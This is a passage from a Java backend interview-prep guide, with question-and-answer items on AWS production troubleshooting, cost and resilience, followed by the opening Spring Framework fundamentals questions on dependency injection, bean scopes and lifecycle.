- Fixes: dedicated hosts or the largest size of a family, Nitro-based non-burstable types, provisioned IOPS (`io2` / `gp3`), container CPU and memory requests and limits.
- For multi-tenant apps, apply per-tenant rate limits and bulkheads.

FOLLOW-UP TRAPS

- **Is it always a neighbor?** Often it is your own T-instance running out of CPU credits.
- **Does a bigger instance size help?** The largest size of a family uses the whole host and removes neighbors.

#noisy-neighbor #performance #ec2

Q68 Your T3 instances are fast for hours, then become slow. Why? BASIC

Burstable instances earn CPU credits while below baseline and spend them when above. When credits run out, the CPU is throttled to the baseline (for example 20% of a vCPU on a t3.medium in standard mode).

- Check the `CPUCreditBalance` metric.
- Fix: switch to M/C/R families, enable unlimited mode (extra charge), or right-size.

FOLLOW-UP TRAPS

- **Does unlimited mode cost nothing?** Surplus credits above the average baseline are billed.

#ec2 #burstable #cpu-credits

Q69 Traffic spikes 10x in two minutes (flash sale). Autoscaling is too slow. What do you do? ADVANCED

Reactive scaling takes minutes (metric lag, instance boot, JVM warm-up). Use scheduled or predictive scaling before the known event, keep headroom, and absorb bursts with queues, caching and rate limiting.

- Use warm pools, smaller faster-booting images, or containers.
- Scale on a leading indicator (request rate, queue depth) rather than CPU.
- Contact AWS for extreme known spikes and check service quotas.

FOLLOW-UP TRAPS

- **Does a new JVM instance serve at full speed immediately?** No, JIT warm-up means high latency at first; use slow-start in the target group.
- **Do you check account quotas?** Yes, EC2 vCPU limits can block scale-out silently.

#autoscaling #spikes #capacity

Q70 The ASG keeps launching and terminating instances (flapping). Why? INTERMEDIATE

Common causes: health check grace period shorter than app startup time, so instances are marked unhealthy and killed before ready; scale-in and scale-out thresholds too close; or a crashing app.

- Set the grace period above JVM and Spring startup time, use target tracking, and separate cooldowns.
- Check the ALB health check path, port and security group reachability.

FOLLOW-UP TRAPS

- **Which health check type should the ASG use with an ALB?** ELB health checks in addition to EC2 status checks.

#autoscaling #health-checks #troubleshooting

Q71 Users get random 502/504 errors from an ALB. How do you debug? INTERMEDIATE

502 means the target sent an invalid response or closed the connection; 504 means the target did not respond within the ALB idle timeout (default 60 seconds).

- Classic 502 cause: the backend's keep-alive timeout is shorter than the ALB idle timeout, so the backend closes a reused connection. Set the app keep-alive higher than the ALB idle timeout (for example Tomcat `keepAliveTimeout` above 60 s).
- 504: slow queries or downstream calls; add timeouts and check target response time.

- Review ALB access logs and `target_status_code`.

FOLLOW-UP TRAPS

- **Is 503 the same?** 503 usually means no healthy targets.

#load-balancer #troubleshooting #timeouts

Q72 After deploy, the ALB shows all targets unhealthy but the app runs. What's wrong? BASIC

Typical causes: the target's security group does not allow inbound from the load balancer's security group on the health check port; wrong health check path or port; app returns 401/302 on the path; or the app has not finished starting.

- Fix by referencing the ALB security group as the source.
- Make the health path unauthenticated and return 200.

FOLLOW-UP TRAPS

- **Should you open the instance to 0.0.0.0/0 to test?** No, allow the ALB's security group only.

#load-balancer #security-groups #troubleshooting

Q73 A private-subnet instance cannot reach the internet or S3. Walk through the checks. INTERMEDIATE

Verify the route table: a `0.0.0.0/0` route to a NAT Gateway (which itself sits in a public subnet with an IGW route and an Elastic IP). Then check security group egress, NACLs (ephemeral ports), DNS resolution and, for S3, a gateway endpoint plus endpoint and bucket policies.

- Use VPC Reachability Analyzer and flow logs to see where packets drop.

FOLLOW-UP TRAPS

- **Can a NAT Gateway be in a private subnet?** Not for internet access; it must be in a public subnet.
- **Do flow logs show which rule rejected?** No, only ACCEPT/REJECT; use Reachability Analyzer.

#vpc #nat #troubleshooting

Q74 Lambda in a VPC cannot call an external API. Why? INTERMEDIATE

A VPC-attached Lambda has only private IPs, so it needs a route through a NAT Gateway in a public subnet to reach the internet. Placing it in a public subnet does not help since its ENI has no public IP.

- For AWS services use VPC endpoints to avoid NAT cost.
- Only attach a Lambda to a VPC if it needs VPC resources like RDS.

FOLLOW-UP TRAPS

- **Does VPC attachment still add a large cold-start delay?** No, since Hyperplane ENIs (2019) the extra delay is small.

#lambda #vpc #nat

Q75 Your Spring Boot Lambda takes 8 seconds to cold start. Give a prioritized plan. ADVANCED

Measure first (init versus handler duration in the `REPORT` line), then apply the cheapest wins.

- 1. Enable SnapStart on a published version/alias; typically cuts to a few hundred ms.
- 2. Raise memory (CPU scales with it) and use arm64.
- 3. Trim dependencies, lazy beans, avoid classpath scanning, or move to Spring Cloud Function, Micronaut or Quarkus.
- 4. Provisioned concurrency for latency-critical paths.

- 5. GraalVM native image for the best cold start with build complexity.

> **FOLLOW-UP TRAPS**
> - **Why is the first SnapStart restore still slower?** Restore pulls snapshot pages on demand; a warm-up before the checkpoint helps.
> - **Is a keep-warm ping the best fix?** It only warms one environment and fails under concurrency; use provisioned concurrency.

#lambda #java #cold-start #spring

Q76 **After enabling SnapStart, two invocations return the same "random" token. Why?** ADVANCED

Random or ID-generator state was initialized during init and captured in the snapshot, so restored environments start from the same state.

- Generate randomness and unique IDs inside the handler, or reseed in a CRaC `afterRestore` hook.
- Re-create network connections and refresh credentials or time-bound caches after restore.

> **FOLLOW-UP TRAPS**
> - **Does the runtime reseed everything?** It handles its own default `SecureRandom`; custom or cached state is your responsibility.
> - **Where should DB connections be opened?** Lazily at first use or in `afterRestore`.

#lambda #snapstart #uniqueness

Q77 **A Lambda that works locally times out when talking to RDS under load. What's happening?** ADVANCED

Each concurrent environment opens its own connection, so a burst of 500 invocations exhausts `max_connections` and new connections hang or fail.

- Use RDS Proxy to pool connections, cap reserved concurrency, keep pool size at 1 per environment, and reuse connections across invocations.
- Alternatives: DynamoDB, or a queue in front to throttle consumers.

> **FOLLOW-UP TRAPS**
> - **Is HikariCP with 10 connections fine in Lambda?** No, it multiplies by concurrency; use a pool of 1.

#lambda #rds #connections #rds-proxy

Q78 **An SQS-triggered Lambda processes the same message twice. Is that a bug?** INTERMEDIATE

No. SQS Standard is at-least-once. Duplicates occur on visibility timeout expiry, partial batch failures or retries, so consumers must be idempotent.

- Use a deduplication store (DynamoDB conditional write, idempotency key) or naturally idempotent operations (upsert).
- Report partial batch failures with `batchItemFailures` so successful messages are not re-run.

> **FOLLOW-UP TRAPS**
> - **If one message in a batch of 10 fails?** Without partial batch response all 10 return to the queue.
> - **Does FIFO fully eliminate duplicates?** Only within the dedupe window; keep idempotent handlers.

#sqs #lambda #idempotency

Q79 **A poison message keeps failing and blocks the queue. How do you handle it?** INTERMEDIATE

Configure a dead-letter queue with a `maxReceiveCount` (for example 3-5) so repeated failures move aside, alarm on DLQ depth, inspect and redrive after a fix.

- On FIFO queues a stuck message blocks its message group, so a DLQ is essential.
- Distinguish transient errors (retry with backoff) from permanent ones (send to DLQ immediately).

> **FOLLOW-UP TRAPS**
> - **DLQ retention shorter than the source queue?** Messages can expire before you look; set the DLQ retention to the maximum (14 days).

#sqs #dlq #poison-message

Q80 **A consumer cannot keep up and the queue grows. What are your options?** INTERMEDIATE

Scale consumers on `ApproximateNumberOfMessagesVisible` (or backlog per instance), increase batch size, optimize processing, and for downstream limits apply backpressure or rate limiting rather than more consumers.

- Track age of the oldest message as the key SLO signal.
- If ordering is required per key, FIFO message groups allow parallelism across groups only.

> **FOLLOW-UP TRAPS**
> - **Does adding consumers always help?** Not if the bottleneck is the database or a shared lock.

#sqs #scaling #backpressure

Q81 **You must choose between Kinesis Data Streams and SQS for an event pipeline. How do you decide?** ADVANCED

Pick Kinesis (or Kafka/MSK) when you need ordered replay, multiple independent consumers of the same data, or time-window processing. Pick SQS for simple work distribution with per-message acknowledgement and easy scaling.

- Kinesis ordering is per shard; hot partition keys limit throughput (1 MB/s or 1,000 records/s per shard write).
- A failing record blocks the shard unless handled with retries, bisect on error or skip.

> **FOLLOW-UP TRAPS**
> - **Can a new consumer read old messages from SQS?** No, from Kinesis yes within retention (24 hours default, up to 365 days).

#kinesis #sqs #streams

Q82 **You need exactly-once effect for payments consumed from a queue. How?** ADVANCED

Exactly-once delivery is not realistic; build exactly-once effect with at-least-once delivery plus idempotent processing. Store an idempotency key with the result in the same transaction as the side effect.

- Use unique constraints or a conditional write (`attribute_not_exists`) keyed by message or business ID.
- For cross-service flows use the outbox pattern and sagas.

> **FOLLOW-UP TRAPS**
> - **Does FIFO plus dedup ID solve it?** Only for 5 minutes at the queue; your handler can still be retried after partial success.

#idempotency #messaging #consistency

Q83 **Aurora/RDS primary CPU is 95% on a read-heavy workload. What do you do?** INTERMEDIATE

Find the top queries with Performance Insights and fix indexes first. Then offload reads to replicas (reader endpoint), add a cache (ElastiCache) for hot data, and only then scale the instance up.

- Replica reads are eventually consistent; route read-your-writes paths to the primary.
- Pool connections with RDS Proxy.

FOLLOW-UP TRAPS

- **Does a read replica help write-heavy load?** No, writes still hit the primary.

#rds #read-replica #caching

Q84 **How do you run a regional DR plan for an Aurora-backed service with RPO 1 minute and RTO 15 minutes?** ADVANCED

Use Aurora Global Database (replication lag typically under 1 second) with a warm standby stack in the secondary region. On disaster, detach and promote the secondary cluster, then shift Route 53 to the secondary region.

- Pre-provision compute, secrets, KMS keys and config in both regions; Secrets Manager supports multi-region replication.
- Automate and rehearse the runbook; measure real RTO.

FOLLOW-UP TRAPS

- **Does promotion lose data?** Possibly the unreplicated tail; unplanned failover can lose a few seconds.
- **What about KMS keys?** Encrypted cross-region replicas need a key in the target region (multi-Region keys).

#disaster-recovery #aurora #multi-region

Q85 **S3 data was deleted by a faulty release. How could you have prevented the loss?** INTERMEDIATE

Enable S3 versioning (and MFA Delete or Object Lock for compliance), restrict `s3:DeleteObject*` permissions, and replicate to another account or region.

- With versioning, a delete adds a delete marker; remove the marker to restore.
- Lifecycle rules should expire noncurrent versions after a retention period to control cost.

FOLLOW-UP TRAPS

- **Does cross-region replication protect against bad changes?** Not alone; replicas can receive the bad overwrite, so keep versioning and backups too.

#s3 #backup #versioning

Q86 **A deploy introduced a schema change and rollback now fails. How should it have been done?** ADVANCED

Use expand/contract: first deploy a backward-compatible schema (add a nullable column), deploy code that writes both, backfill, switch reads, and only later drop the old column. Old and new app versions must both work against the intermediate schema.

- Blue/green and rolling deployments always have a window where both versions run.

FOLLOW-UP TRAPS

- **Is renaming a column in one release safe?** No, the old version breaks immediately.

#deployment #database #migration

Q87 **A container keeps restarting with exit code 137. What does it mean?** INTERMEDIATE

Exit 137 is SIGKILL (128 + 9), most often the kernel OOM killer after the container exceeded its memory limit. In Java the cause is usually heap plus metaspace, threads and direct buffers exceeding the limit, not a Java `OutOfMemoryError`.

- Set `-XX:MaxRAMPercentage=70`, cap `-XX:MaxMetaspaceSize` and `-Xss` if needed, and raise the limit or reduce load.
- Enable `-XX:+HeapDumpOnOutOfMemoryError` to a mounted path; check `OOMKilled` in task or pod status.

FOLLOW-UP TRAPS

- **If heap shows only 50% used, can it still be OOM-killed?** Yes, native memory is outside the heap.
- **Why does the pod restart in a loop?** The restart policy relaunches it; the cause stays until fixed.

#containers #oom #java

Q88 Rolling deploy drops in-flight requests. Why and how to fix? INTERMEDIATE

Old instances receive SIGTERM and exit before finishing requests, or the load balancer keeps sending traffic while they stop. Deregister first, then drain, then stop.

- Enable Spring Boot `server.shutdown=graceful` and a `spring.lifecycle.timeout-per-shutdown-phase`.
- Set the ALB deregistration delay and the ECS `stopTimeout` (or Kubernetes `terminationGracePeriodSeconds` plus a `preStop` sleep) to cover the drain.
- Ensure PID 1 receives signals (exec form entrypoint).

FOLLOW-UP TRAPS

- **Why a `preStop` sleep in Kubernetes?** Endpoint removal and SIGTERM race; the sleep lets the endpoint propagate.
- **What is the ECS default stop timeout?** 30 seconds before SIGKILL.

#deployment #graceful-shutdown #containers

Q89 Different environments behave differently after "identical" deploys. What causes it? INTERMEDIATE

Configuration drift: manual console changes, per-environment config baked into builds, unpinned dependencies or mutable `latest` image tags.

- Build once, promote the same immutable artifact (digest-pinned image) through environments with only injected config differing.
- Provision everything with IaC and detect drift.

FOLLOW-UP TRAPS

- **Is `latest` acceptable in production?** No, it is mutable and breaks reproducibility and rollback.

#twelve-factor #config #drift

Q90 A secret rotation causes a production outage. What went wrong? INTERMEDIATE

The app read the secret once at startup, so after rotation its credentials became invalid. Or the rotation was not two-phase and the old password stopped working while consumers still used it.

- Fetch with a short TTL cache and refetch on auth failure.
- Use alternating-user rotation (Secrets Manager multi-user strategy) so old and new credentials overlap.
- Test rotation in staging.

FOLLOW-UP TRAPS

- **Does the Hikari pool pick up a new password?** Existing connections stay valid, new ones fail; rebuild the pool or refresh the datasource.

#secrets #rotation #resilience

Q91 A developer needs temporary prod access for debugging. How do you grant it safely? INTERMEDIATE

Use federated SSO with a time-boxed role (IAM Identity Center permission set), read-only by default, with MFA, an approval workflow and CloudTrail logging. Prefer session-based access (SSM Session Manager) over opening SSH ports.

- No shared accounts or long-lived keys.
- Break-glass roles with alerts when used.

> **FOLLOW-UP TRAPS**
> - **Is opening port 22 to your IP fine?** IPs change and ports remain a risk; Session Manager needs no inbound ports.

#iam #access #security

Q92 **A bucket policy and an IAM policy disagree (one allows, one denies). Who wins?** BASIC

An explicit deny in any applicable policy wins. In the same account, an allow in either the identity or the resource policy is sufficient when there is no deny.

> **FOLLOW-UP TRAPS**
> - **Cross-account with only a bucket policy allow?** Denied, the caller's identity policy must also allow.
> - **Does a missing allow equal a deny?** Yes, implicit deny.

#iam #policy-evaluation #s3

Q93 **`AccessDenied` calling `s3:GetObject` even though the role policy allows it. What do you check?** INTERMEDIATE

Check for explicit denies in the bucket policy, SCPs, permission boundaries or session policies; the object's KMS key policy (the role also needs `kms:Decrypt`); the correct resource ARN (`bucket/*` versus `bucket`); VPC endpoint policy; and the object owner for cross-account writes.

- Use the IAM policy simulator and CloudTrail error details.

> **FOLLOW-UP TRAPS**
> - **Why does `ListBucket` need the bucket ARN but `GetObject` the object ARN?** They act on different resource types.
> - **Is the error from KMS visible as S3 AccessDenied?** Yes, it often surfaces as a generic 403.

#iam #troubleshooting #s3 #kms

Q94 **Costs from NAT Gateway are 40% of the bill. How do you cut them?** INTERMEDIATE

Find the top talkers with VPC Flow Logs, then add S3 and DynamoDB gateway endpoints (free), interface endpoints for heavy AWS services (ECR, CloudWatch, STS), and keep inter-service traffic inside the VPC.

- Pull container images via ECR endpoints; cache dependencies.
- A NAT per AZ avoids cross-AZ charges but costs hourly each; weigh volume.

> **FOLLOW-UP TRAPS**
> - **Are interface endpoints always cheaper?** No, each costs hourly per AZ; they pay off only with enough traffic.

#cost-optimization #nat #vpc-endpoints

Q95 **A data transfer bill spikes with cross-AZ traffic between microservices. What are the options?** ADVANCED

Cross-AZ traffic costs about $0.01/GB each direction. Reduce chattiness (batching, compression), co-locate heavily communicating services per AZ with zone-aware routing (topology-aware routing in Kubernetes, ALB zonal affinity), and cache.

- Do not drop to a single AZ to save money; you lose resilience.

FOLLOW-UP TRAPS

- **Is traffic through an ALB across AZs billed?** ALB-to-target cross-AZ traffic is not charged, but client-to-service calls between instances are.

#cost-optimization #data-transfer #availability-zones

Q96 **Dev and test environments cost more than production. What do you do?** BASIC

Schedule shutdowns outside working hours, use smaller instance sizes, Spot, and ephemeral per-PR environments torn down automatically; apply TTL tags with cleanup jobs and budgets per account.

FOLLOW-UP TRAPS

- **What else survives a stop?** EBS volumes, Elastic IPs and snapshots still bill.

#cost-optimization #environments

Q97 **You must choose between Lambda and Fargate for an API with steady 200 requests per second. Which?** ADVANCED

For steady, sustained load containers are usually cheaper and avoid cold starts and Lambda concurrency limits. Lambda wins for spiky, low-volume or idle-heavy workloads and for minimal operations.

- Rough check: Lambda cost scales with requests x duration x memory; at constant 200 rps with 100 ms and 512 MB, a few Fargate tasks cost less.
- Consider team skills, latency requirements and deployment model.

FOLLOW-UP TRAPS

- **Does Lambda scale to zero cost?** Yes, which makes it better for rare calls.
- **Can you mix?** Yes, containers for the core API, Lambda for event glue and bursty jobs.

#lambda #fargate #cost #trade-offs

Q98 **A Lambda function times out on large file processing. What are the alternatives?** INTERMEDIATE

Lambda caps at 15 minutes and 10 GB memory. Break work into chunks via SQS or Step Functions, stream the file rather than loading it, or move to Fargate/AWS Batch for long jobs.

- Step Functions orchestrates fan-out with the Map state.
- Use S3 byte-range reads and increase `/tmp` ephemeral storage (up to 10 GB) if required.

FOLLOW-UP TRAPS

- **Can you raise the timeout above 15 minutes?** No.

#lambda #limits #architecture

Q99 **Latency to users in Asia is 400 ms while your region is in Virginia. What do you do?** BASIC

First cache static and cacheable API responses at the edge with CloudFront. For dynamic traffic, use CloudFront or Global Accelerator for backbone routing, then deploy a regional stack closer to users with latency-based routing.

- The hard part is data: read replicas or global tables near users, with a single-writer or conflict strategy for writes.

FOLLOW-UP TRAPS

- **Will a bigger instance fix it?** No, distance is the bottleneck.

#latency #cdn #multi-region

Q100 Active/active across two regions causes lost updates. Why?

ADVANCED

Both regions accept writes to the same record and replicate asynchronously; DynamoDB global tables resolve conflicts by last-writer-wins on timestamp, so one write silently overwrites the other.

- Mitigate: route each entity to a home region (partition ownership), use CRDTs or merge logic, or make writes append-only/commutative.
- Aurora Global Database is single-writer by design.

FOLLOW-UP TRAPS

- **Does global tables replication guarantee order?** Eventual, not strict global order.

#multi-region #consistency #dynamodb

Q101 After a region failover, users report missing recent orders. Explain.

INTERMEDIATE

Replication was asynchronous, so writes committed in the failed region but not yet replicated were lost; this is the actual RPO, which is nonzero for cross-region async replication.

- Reconcile later from the primary's logs or event stream if recoverable, and revisit the RPO decision.
- Synchronous cross-region replication is slow and rarely used.

FOLLOW-UP TRAPS

- **Can backups fix it?** Not recent data; backups only restore to their point in time.

#disaster-recovery #rpo #replication

Q102 CloudWatch Logs cost is huge. How do you reduce it?

BASIC

Ingestion is the main cost. Lower log levels in production (no DEBUG), drop noisy health-check logs, sample verbose events, set retention periods, and archive to S3 via subscription or Firehose for long-term storage.

- Use the Infrequent Access log class for rarely queried logs.
- Metric filters and Embedded Metric Format avoid logging just to count.

FOLLOW-UP TRAPS

- **Is storage or ingestion costlier?** Ingestion, per GB, usually dominates.
- **What is the default log retention?** Never expire.

#observability #cost-optimization #logging

Q103 You cannot find the root cause of slow requests across five microservices. What do you add?

INTERMEDIATE

Distributed tracing: propagate a trace context (W3C `traceparent`) across calls and export spans with OpenTelemetry (ADOT collector to X-Ray or another backend). Put the trace ID in logs for correlation.

- Spring Boot 3 integrates Micrometer Tracing and the OpenTelemetry bridge.
- Look at span waterfalls for the slowest hop (often a DB or an external call).

FOLLOW-UP TRAPS

- **Why sample traces?** Volume and cost; use tail-based sampling to keep errors and slow traces.
- **Does tracing show payloads?** Not by default; avoid recording PII.

#observability #tracing #opentelemetry

Q104 The pager fires constantly but users are fine. What do you change?

BASIC

Alert fatigue: replace cause-based thresholds (CPU > 80%) with symptom-based SLO alerts (error rate, latency burn rate), add runbooks, tune or delete noisy alarms, and route non-urgent signals to tickets.

FOLLOW-UP TRAPS

- **Should every alarm page?** No, only actionable and urgent ones.

#alerting #observability #slo

Q105 **A Java service on EC2 slows after hours; CPU is low but latency high. Where do you look?** ADVANCED

Low CPU with high latency points to waiting: connection pool exhaustion, thread pool saturation, GC pauses, slow downstream calls or EBS/network throttling.

- Check JVM metrics (GC pause, heap, thread states), Hikari active/pending, downstream latencies, and instance network/EBS limits (`EBSIOBalance%`, network allowance exceeded).
- Take thread dumps and enable GC logging.

FOLLOW-UP TRAPS

- **Does low CPU mean healthy?** No, blocked threads use no CPU.

#troubleshooting #jvm #observability

Q106 **A stateful session is lost whenever the ASG scales in. What is the fix?** BASIC

Sessions were kept in instance memory. Externalize to ElastiCache (Redis) via Spring Session, or use stateless JWT, and enable connection draining so in-flight requests finish.

FOLLOW-UP TRAPS

- **Do sticky sessions fix the loss on scale-in?** No, the instance is still terminated.

#stateless #sessions #autoscaling

Q107 **You must migrate a monolith to the cloud quickly with minimal change. Which strategy?** INTERMEDIATE

Rehost (lift and shift) onto EC2 is the fastest; replatform (move DB to RDS, files to S3, add ASG) gives early gains with modest change; refactor into cloud-native services has the highest payoff and risk. Choose by deadline and value, and iterate (the "6 Rs": rehost, replatform, repurchase, refactor, retire, retain).

FOLLOW-UP TRAPS

- **Does lift and shift save money automatically?** Often not; right-size and use managed services afterward.

#migration #rehost #replatform

Q108 **You want zero-downtime failover of an RDS database but your app errors for two minutes. Why?** ADVANCED

Failover swaps DNS to the standby. The JVM may cache the old IP, the pool holds dead connections, and no socket or connect timeouts mean threads block until TCP timeouts.

- Set `networkaddress.cache.ttl` to a low value (such as 5-30), configure Hikari `connectionTimeout`, `validationTimeout` and `maxLifetime`, set driver `socketTimeout` and use the AWS Advanced JDBC Wrapper's failover plugin to react faster.
- Retry idempotent transactions.

FOLLOW-UP TRAPS

- **Is Multi-AZ failover instant?** No, typically 60-120 seconds for classic RDS.

#rds #failover #jvm #dns

Q109 A bucket receives 5,000 PUT/s to one prefix and sees 503 SlowDown. What now? ADVANCED

S3 supports at least 3,500 PUT/COPY/POST/DELETE and 5,500 GET/HEAD requests per second per prefix, and scales by prefix. Spread keys across more prefixes (a hash or date-sharded prefix), retry with exponential backoff, and batch small objects.

FOLLOW-UP TRAPS

- **Do you need random prefixes for performance?** Not for sequential keys anymore but spreading load across prefixes raises the limit.

#s3 #performance #throttling

Q110 A tenant's heavy usage degrades others in a shared-pool SaaS. How do you contain it? ADVANCED

Apply per-tenant rate limits and quotas at the gateway (API Gateway usage plans or custom token buckets), bulkhead resources (separate thread pools or queues per tier), shard heavy tenants to dedicated cells, and monitor per-tenant metrics.

- Use SQS fair queuing or per-tenant message groups to stop one tenant starving others.

FOLLOW-UP TRAPS

- **Is autoscaling a substitute?** No, it raises everyone's cost and may overload shared databases.

#noisy-neighbor #multi-tenancy #throttling

Q111 How do you design a cell-based architecture and why? ADVANCED

Split the service into independent, identical cells (full stacks with their own data) serving a subset of customers, with a thin router in front. A failure or bad deploy affects only one cell, limiting blast radius, and capacity grows by adding cells.

- Deploy changes to one cell first as a natural canary.
- Cost: operational overhead and rebalancing tenants between cells.

FOLLOW-UP TRAPS

- **Is the router a single point of failure?** Keep it minimal, stateless and highly redundant.

#cell-based #blast-radius #high-availability

Q112 Your CI/CD pipeline role has admin rights and an attacker abuses a pull request. How do you harden it? ADVANCED

Use OIDC federation with roles trusting only specific repositories and branches via `sub` claim conditions, scope permissions to the deployment, separate roles per environment, require approvals for production, and prevent pull requests from forks accessing deploy roles.

FOLLOW-UP TRAPS

- **Why not store keys as CI secrets?** They are long-lived and exfiltratable by malicious build steps.
- **Does a permission boundary help?** Yes, it caps what the pipeline can grant itself.

#security #ci-cd #iam

Q113 Compliance requires encrypting data and proving who accessed it. What do you enable? INTERMEDIATE

Encrypt at rest with KMS (customer-managed keys for control and audit) and in transit with TLS; enable CloudTrail (data events for S3 where needed) in all regions with log file validation, send logs to a locked-down separate account, and use AWS Config and Security Hub for continuous compliance.

FOLLOW-UP TRAPS

- **Does enabling encryption at rest protect against a compromised IAM role?** No, authorized principals get decrypted data.

#compliance #encryption #auditing

Q114 **An engineer proposes running the whole system in a single region and single AZ "to save money". How do you respond?** INTERMEDIATE

Quantify instead of refusing: compare the extra cost of a second AZ (a second small instance set, cross-AZ transfer, Multi-AZ DB at about 2x DB cost) with the revenue and reputation loss of downtime against the SLO. Most production systems justify multi-AZ; non-critical internal tools may not.

FOLLOW-UP TRAPS

- **Can you get HA with one instance?** Auto-recovery restores it, but you still have downtime.
- **Is multi-region the next step?** Only if the business RTO/RPO demands it.

#trade-offs #high-availability #cost

Q115 **A deploy to production passes in staging but fails with throttling on a cloud API. What happened?** ADVANCED

Production scale hit service quotas or API rate limits (for example EC2 API calls, KMS requests per second, Lambda concurrency, or SES sending limits) that staging never reached.

- Monitor Service Quotas, request increases ahead of launches, cache KMS data keys, and use SDK retries with backoff and jitter.
- Load test at production-like scale.

FOLLOW-UP TRAPS

- **Are all quotas adjustable?** No, some are hard limits.
- **Is it safe to retry immediately?** No, it worsens throttling; use backoff.

#quotas #throttling #retries

CORE JAVA · CHAPTER 18

Spring Framework & Hibernate

Fundamentals of Spring IoC/DI, bean scopes, AOP proxies, Spring MVC, Boot auto-configuration, JdbcTemplate, JPA/Hibernate entity lifecycle and mappings, transactions, Spring Data, validation, testing and actuator.

104 questions **38** basic **51** intermediate **15** advanced

Overview chapter covering the fundamentals interviewers expect from every Java backend engineer. Deep production scenarios live in the separate Spring track.

Theory

Q1 What are Inversion of Control and Dependency Injection? BASIC

IoC means the framework, not your code, controls object creation and wiring. DI is the main IoC technique: a class declares its dependencies and the container supplies them.

- Benefits: loose coupling, easy substitution of collaborators in tests, centralized lifecycle management.
- The container is an `ApplicationContext` that reads configuration (annotations, Java config, XML) and builds a graph of beans.

FOLLOW-UP TRAPS

- **Is IoC the same as DI?** No. DI is one way to achieve IoC; service locator and template-method callbacks are others.
- **Does DI require a framework?** No, passing collaborators through a constructor by hand is DI.

#ioc #di #fundamentals

Q2 What is the difference between BeanFactory and ApplicationContext? BASIC

`BeanFactory` is the minimal container interface (lazy bean creation, DI). `ApplicationContext` extends it and adds event publishing, `MessageSource` i18n, resource loading, environment/profile support, AOP integration and eager singleton initialization.

- Application code almost always uses `ApplicationContext`; `BeanFactory` is an internal building block.

FOLLOW-UP TRAPS

- **Are singletons created lazily in an `ApplicationContext`?** No, by default they are created eagerly at refresh, which surfaces wiring errors at startup.
- **Which one does Spring Boot create?** An `ApplicationContext` implementation such as `AnnotationConfigServletWebServerApplicationContext`.

#ioc #applicationcontext #beanfactory

Q3 What are the ways to inject dependencies, and which is preferred? BASIC

Constructor, setter and field injection. Constructor injection is preferred.

- Constructor: dependencies are `final`, object is never half-built, trivial to unit test without Spring, circular dependencies fail fast.
- Setter: for optional or reconfigurable dependencies.
- Field (`@Autowired` on a field): hides dependencies, cannot be `final`, needs reflection in tests.
- Since Spring 4.3 a single constructor needs no `@Autowired`.

```
@Service
public class OrderService {
    private final OrderRepository repo;
    public OrderService(OrderRepository repo) { this.repo = repo; }
}
```

FOLLOW-UP TRAPS

- **Does field injection work on `private` fields?** Yes, via reflection, which is exactly why it is discouraged.
- **With two constructors, which is used?** The one annotated `@Autowired`; otherwise the default no-arg constructor is required.

#di #constructor-injection #autowired

Q4 How does Spring resolve which bean to inject when several match? BASIC

Autowiring is by type first. If multiple candidates remain, Spring uses `@Primary`, then `@Qualifier`, then falls back to matching the parameter/field name with the bean name. If still ambiguous it throws `NoUniqueBeanDefinitionException`.

- `@Qualifier("name")` is explicit at the injection point and wins over `@Primary`.
- Injecting `List<T>` or `Map<String,T>` collects all beans of the type.

FOLLOW-UP TRAPS

- **Does `@Primary` override `@Qualifier`?** No, `@Qualifier` is more specific and wins.
- **What if no bean matches?** `NoSuchBeanDefinitionException`, unless `@Autowired(required=false)`, `Optional<T>` or `@Nullable` is used.

#autowired #qualifier #primary

Q5 What is the difference between @Component, @Service, @Repository and @Controller? BASIC

All are stereotype annotations meta-annotated with `@Component`, so component scanning registers them as beans. The specialization conveys the layer and adds behavior in two cases.

- `@Repository`: enables persistence exception translation to `DataAccessException` through a post-processor.
- `@Controller` / `@RestController`: detected by Spring MVC as request handlers.
- `@Service`: purely semantic.

FOLLOW-UP TRAPS

- **Does `@Service` add transactions?** No, `@Transactional` must be applied separately.
- **What does `@RestController` combine?** `@Controller` plus `@ResponseBody`.

#stereotypes #component-scan

Q6 @Configuration with @Bean versus @Component scanning: when to use which? INTERMEDIATE

Use component scanning for your own classes; use `@Bean` methods in `@Configuration` classes for third-party classes or when construction needs logic.

- `@Configuration` classes are CGLIB-proxied (full mode) so that calling one `@Bean` method from another returns the same singleton instead of creating a new object.
- `@Configuration(proxyBeanMethods = false)` (lite mode) skips the proxy for faster startup when no inter-bean method calls exist; Boot's own auto-configurations use it.

FOLLOW-UP TRAPS

- **In a plain `@Component`, does calling a `@Bean` method return the singleton?** No, it is lite mode and each call creates a new instance.
- **Can `@Configuration` classes be `final`?** Not in proxy mode, since CGLIB must subclass them.

#configuration #bean #java-config

Q7 What are the bean scopes in Spring? BASIC

`singleton` (default, one per container), `prototype` (new instance per request for the bean), and in web contexts `request`, `session`, `application` and `websocket`. Custom scopes can be registered.

- Singleton is per container, not per JVM and not like the GoF pattern.
- Spring does not manage the full lifecycle of prototypes: destroy callbacks are not called.

FOLLOW-UP TRAPS

- **Are singleton beans thread-safe automatically?** No. They are shared, so mutable state must be avoided or protected.
- **Is the default scope singleton per class?** Per bean definition; two definitions of one class give two singletons.

#scopes #singleton #prototype

Q8 How do you inject a prototype bean into a singleton? INTERMEDIATE

Injecting directly resolves the prototype once at singleton creation, so you get the same instance forever. Fix it by injecting an `ObjectProvider<T>` (call `getObject()`), a lookup method (`@Lookup`), or a scoped proxy.

```
@Component
class Runner {
    private final ObjectProvider<Task> tasks;
    Runner(ObjectProvider<Task> tasks) { this.tasks = tasks; }
    void run() { tasks.getObject().execute(); } // new Task each call
}
```

FOLLOW-UP TRAPS

- **Does `@Scope(proxyMode = TARGET_CLASS)` also work?** Yes, a proxy resolves a fresh target per method call.
- **Same issue for request scope?** Yes, a request-scoped bean in a singleton needs a scoped proxy or provider.

#scopes #prototype #scoped-proxy

Q9 Describe the Spring bean lifecycle. INTERMEDIATE

Instantiate -> populate properties (DI) -> `*Aware` callbacks -> `BeanPostProcessor.postProcessBeforeInitialization` -> `@PostConstruct` -> `InitializingBean.afterPropertiesSet` -> custom `init-method` -> `postProcessAfterInitialization` (where AOP proxies are created) -> bean in use -> on shutdown `@PreDestroy` -> `DisposableBean.destroy` -> custom destroy method.

- `@PostConstruct` / `@PreDestroy` are in `jakarta.annotation` since Spring 6 / Boot 3 (`javax` before).

FOLLOW-UP TRAPS

- **Are dependencies available in the constructor of a field-injected bean?** No, fields are injected after construction.
- **Where is the AOP proxy created?** In a `BeanPostProcessor` after initialization, so `@PostConstruct` runs on the raw target.

#lifecycle #postconstruct #beanpostprocessor

